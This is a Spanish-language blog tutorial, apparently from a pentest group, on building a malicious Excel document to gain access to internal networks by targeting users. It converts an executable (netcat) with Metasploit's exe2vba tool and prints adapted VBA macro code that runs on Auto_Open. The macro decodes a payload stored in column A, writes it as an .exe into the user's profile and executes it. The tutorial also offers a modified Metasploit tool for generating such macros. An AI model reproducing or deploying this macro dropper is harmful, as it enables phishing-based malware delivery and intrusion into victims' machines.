Generando macros maliciosos para EXCEL

Cuando se realizan pruebas de intrusión desde el perímetro, existen veces en las que es virtualmente imposible obtener un acceso a la red interna por medio de los servicios que se encuentran de cara al internet. Ya sea porque estos no tienen vulnerabilidades conocidas o se encuentran correctamente configurados. Es en casos como esos en los que uno debe utilizar su creatividad y atacar el eslabón más débil de la seguridad informática – El humano.

En este artículo estaremos mostrando como generar un archivo de Microsoft Office Excel que nos servirá como herramienta de acceso a la red interna.

Para lograr generar el archivo Excel nos apoyaremos de algunas de las herramientas más populares del ámbito de la seguridad informática. Estas serán: Kali y Metasploit. Adicionalmente realizaremos algunos cambios al código generado para adaptarlo a Excel.

Nuestro archivo malicioso será generado utilizando “Kali Linux”. Luego generaremos el payload que será utilizado como código para el macro del documento de Excel.

Generación del archivo de EXCEL:

Antes de Generar nuestro archivo de Excel debemos tener preparado el ejecutable que servirá de payload. Este puede ser un ejecutable que nosotros creamos o de igual forma podría ser un payload generado utilizando msfpayload. Para motivos de este tutorial se utilizará la aplicación NETCAT (nc.exe).

Teniendo el ejecutable podemos utilizar la herramienta “exe2vba.rb” que nos provee Metasploit, la cual se encuentra en la ruta  /usr/share/metasploit-framework/tools/exploit.

pathEXE2VBA

A continuación, se puede observar el modo de utilización de la herramienta.

exe2vbaUsage

Como se puede observar el primer argumento que se requiere es el ejecutable que será codificado y el segundo es el destino donde será guardado el archivo con el código VBA generado.

exe2vbaGenerated

Luego de generar el archivo con el código VBA y el payload codificado uno debería de pegar el código en el área de macros de WORD o EXCEL y luego pegar el payload en el cuerpo del documento.

En el caso del documento de WORD el párrafo anterior es cierto, pero en el caso de EXCEL el código debe ser modificado debido a que se utiliza un tipo de objeto que no se encuentra disponible en MS EXCEL. Este tipo de objeto es el objeto Paragraph ya que en EXCEL solamente contamos con celdas y estas no pueden contener párrafos dentro de ellas.

La solución que se encontró fue la modificación del código generado para adaptarlo al ambiente de EXCEL. El código que se muestra a continuación fue el resultado de dicha modificación:

Sub Auto_Open()

Spnxl12

End Sub

Sub Spnxl12()

Dim Spnxl7 As Integer

Dim Spnxl1 As String

Dim Spnxl2 As String

Dim Spnxl3 As Integer

                Dim Spnxl4 As Paragraph

Dim Spnxl8 As Integer

Dim Spnxl9 As Boolean

Dim Spnxl5 As Integer

Dim Spnxl11 As String

Dim Spnxl6 As Byte

Dim Iqbhcnhrvu as String

Dim Seguir As Boolean

                Dim indice As Integer

                Dim enBlanco As Integer

                enBlanco = 0

                Seguir = True

                indice = 1

Iqbhcnhrvu = “<NOMBRE DEL FLAG del PAYLOAD>

Spnxl1 = “ZzYnUXTENYCGaj.exe”

Spnxl2 = Environ(“USERPROFILE”)

ChDrive (Spnxl2)

ChDir (Spnxl2)

Spnxl3 = FreeFile()

Open Spnxl1 For Binary As Spnxl3

While (Seguir)

DoEvents

Spnxl11 = Worksheets(1).Range(“A” & indice).Text

indice = indice + 1

If (Spnxl9 = True) Then

Spnxl8 = 1

While (Spnxl8 < Len(Spnxl11))

Spnxl6 = Mid(Spnxl11,Spnxl8,4)

Put #Spnxl3, , Spnxl6

Spnxl8 = Spnxl8 + 4

Wend

If (Len(Spnxl11) = 0) Then

                                                       enBlanco = enBlanco + 1

                                                       If (enBlanco > 2) Then

                                                       Seguir = False

                                              End If

                                            Else

                                         enBlanco = 0

                                       End If

ElseIf (InStr(1,Spnxl11,Iqbhcnhrvu) > 0 And Len(Spnxl11) > 0) Then

Spnxl9 = True

End If

Wend

Close #Spnxl3

Spnxl13(Spnxl1)

End Sub

Las secciones subrayadas en negrillas son los fragmentos de código que fueron cambiados y los que se encuentran en italica son los fragmentos que fueron eliminados para lograr la adaptación del código a un documento de EXCEL. Dichas modificaciones deben realizarse cada vez que se desee ejecutar algún tipo de código malicioso desde un archivo de EXCEL.

Luego de realizar las modificaciones se debe incluir en cualquier conjunto de celdas de la columna “A” el payload que se generó junto con el código VBA.

Con el fin de aportar un poco con la comunidad en DevelSecurity nos dispusimos a realizar ciertas modificaciones al código de la herramienta exe2vba.rb de tal manera que contamos con una herramienta que nos permite generar el código VBA específico para archivos de EXCEL.

En el siguiente link pueden obtener el código modificado CÓDIGO exe2vbaEXCEL.

Para incorporarlo en su sistema Kali Linux solamente tienen que reemplazar el archivo “exe.rb” por el nuestro. La ruta donde puede encontrar dicho archivo en Kali Linux es el siguiente:

/usr/share/metasploit-framework/lib/msf/util

 Finalmente se debe copiar el archivo “exe2vbaExcel.rb” a la siguiente ruta:

/usr/share/metasploit-framework/tools/exploit

Esperamos que este articulo les sea de gran utilidad!